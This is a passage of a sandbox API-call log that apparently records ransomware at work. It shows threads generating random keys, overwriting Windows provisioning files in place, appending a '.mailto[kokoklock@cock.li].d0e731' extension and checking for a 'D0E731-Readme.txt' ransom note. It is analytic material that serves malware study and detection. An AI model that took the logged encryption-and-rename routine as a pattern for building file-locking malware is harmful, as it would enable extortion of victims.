[0086.400] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dddf8 [0086.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd30 [0086.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0086.400] NtQuerySystemTime (in: CurrentTime=0x2c53fd98 | out: CurrentTime=0x2c53fd98*=132121176442891952) returned 0x0 [0086.400] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x2e30ccd6 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x9031a2e0 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x84e816d8 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x8cbf63d5 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xa6ffac60 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x19043900 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x4cd156d8 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xda881733 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xbc9b2726 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xa8707f0f [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x6d8c7fcb [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x53e0011e [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x7f906e0b [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x5d6ca5a8 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xf750a918 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x26c9c24f [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xcccd60a7 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xc129c72a [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x8e96173d [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xe7cb6b14 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x8f405615 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x52ad463c [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xd94e76d [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xbe838325 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x5c843e29 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x7ccfc552 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xf87a9eab [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x55b58ed3 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x6d418a94 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x958814d [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0x664349b5 [0086.401] RtlRandom (in: Seed=0x2c53fda4 | out: Seed=0x2c53fda4) returned 0xdfc1f262 [0086.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddf8) returned 1 [0086.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd0d0 [0086.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34806d8 [0086.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.412] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x2c53fd98, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c53fd98*=0x29e, lpOverlapped=0x0) returned 1 [0086.412] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c53fd60 | out: lpNewFilePointer=0x0) returned 1 [0086.412] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x29e, lpNumberOfBytesWritten=0x2c53fd94, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c53fd94*=0x29e, lpOverlapped=0x0) returned 1 [0086.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde98 [0086.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc68 [0086.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddc68) returned 1 [0086.412] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c53fd90, lpOverlapped=0x0 | out: lpBuffer=0x55dde98*, lpNumberOfBytesWritten=0x2c53fd90*=0x20, lpOverlapped=0x0) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0086.413] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c53fdbc, lpOverlapped=0x0 | out: lpBuffer=0x55dde48*, lpNumberOfBytesWritten=0x2c53fdbc*=0x8, lpOverlapped=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x99c, lpBuffer=0x2c53fdd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c53fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2c53fdd4*, lpNumberOfBytesWritten=0x2c53fdbc*=0x4, lpOverlapped=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c53fdbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c53fdbc*=0x4, lpOverlapped=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c53fdbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c53fdbc*=0x6c, lpOverlapped=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddd30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c53fdbc, lpOverlapped=0x0 | out: lpBuffer=0x55ddd30*, lpNumberOfBytesWritten=0x2c53fdbc*=0x20, lpOverlapped=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c53fdbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c53fdbc*=0x4, lpOverlapped=0x0) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde48) returned 1 [0086.413] CloseHandle (hObject=0x99c) returned 1 [0086.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x198) returned 0x341a7f8 [0086.414] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" [0086.414] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.414] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.415] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.415] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348b058 [0086.415] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.415] wcscat (in: _Dest=0x348b058, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.415] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0086.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341aba0) returned 1 [0086.415] RtlExitUserThread (Status=0x1) Thread: id = 1266 os_tid = 0x6dc [0085.211] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.363] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.379] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2c5bfcd8 | out: lpFileSize=0x2c5bfcd8*=643) returned 1 [0086.379] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x27f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.379] ReadFile (in: hFile=0x99c, lpBuffer=0x2c5bfcac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5bfca8, lpOverlapped=0x0 | out: lpBuffer=0x2c5bfcac*, lpNumberOfBytesRead=0x2c5bfca8*=0x4, lpOverlapped=0x0) returned 1 [0086.383] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc68 [0086.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dddd0 [0086.383] NtQuerySystemTime (in: CurrentTime=0x2c5bfc84 | out: CurrentTime=0x2c5bfc84*=132121176442735775) returned 0x0 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x99be48e7 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xa7f4181e [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x4b6f2244 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x1f6e344 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x16d3499d [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x4ba634b2 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x2106d802 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xb7a01d86 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x7de212ca [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x607791a7 [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xbd9e714d [0086.383] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x200ee6cf [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x9cabeb2e [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xfb5ccb20 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x8c0a58f1 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x6d1405b1 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x39bbb4bc [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x39902bb5 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x629cec9e [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x8deb6809 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xb8ffa557 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x173d4730 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x7ed4c348 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x906b2084 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xfacfa48a [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xd0c06dce [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x7c410c5e [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xec50cd70 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xf5708d7a [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x8f305041 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0x255f0e64 [0086.384] RtlRandom (in: Seed=0x2c5bfc90 | out: Seed=0x2c5bfc90) returned 0xbc5f7b [0086.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0086.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.395] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x283, lpNumberOfBytesRead=0x2c5bfc84, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c5bfc84*=0x283, lpOverlapped=0x0) returned 1 [0086.395] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5bfc4c | out: lpNewFilePointer=0x0) returned 1 [0086.395] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x283, lpNumberOfBytesWritten=0x2c5bfc80, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c5bfc80*=0x283, lpOverlapped=0x0) returned 1 [0086.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.395] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c5bfc7c, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2c5bfc7c*=0x20, lpOverlapped=0x0) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.396] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c5bfca8, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2c5bfca8*=0x8, lpOverlapped=0x0) returned 1 [0086.396] WriteFile (in: hFile=0x99c, lpBuffer=0x2c5bfcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5bfca8, lpOverlapped=0x0 | out: lpBuffer=0x2c5bfcc0*, lpNumberOfBytesWritten=0x2c5bfca8*=0x4, lpOverlapped=0x0) returned 1 [0086.396] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5bfca8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c5bfca8*=0x4, lpOverlapped=0x0) returned 1 [0086.396] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c5bfca8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c5bfca8*=0x6c, lpOverlapped=0x0) returned 1 [0086.396] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddc68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c5bfca8, lpOverlapped=0x0 | out: lpBuffer=0x55ddc68*, lpNumberOfBytesWritten=0x2c5bfca8*=0x20, lpOverlapped=0x0) returned 1 [0086.396] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5bfca8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c5bfca8*=0x4, lpOverlapped=0x0) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddc68) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.396] CloseHandle (hObject=0x99c) returned 1 [0086.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18a) returned 0x341a7f8 [0086.397] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" [0086.397] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.397] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.397] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.397] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.398] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.398] wcscat (in: _Dest=0x348af68, 